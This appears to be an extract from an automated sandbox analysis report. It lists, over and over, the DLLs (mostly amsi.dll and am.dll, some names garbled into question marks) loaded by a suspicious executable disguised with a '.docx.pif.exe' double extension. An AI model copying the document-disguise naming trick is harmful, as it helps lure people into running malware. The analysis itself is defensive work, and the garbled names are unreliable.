Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ?.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Section loaded: amsi.dll	Jump to behavior
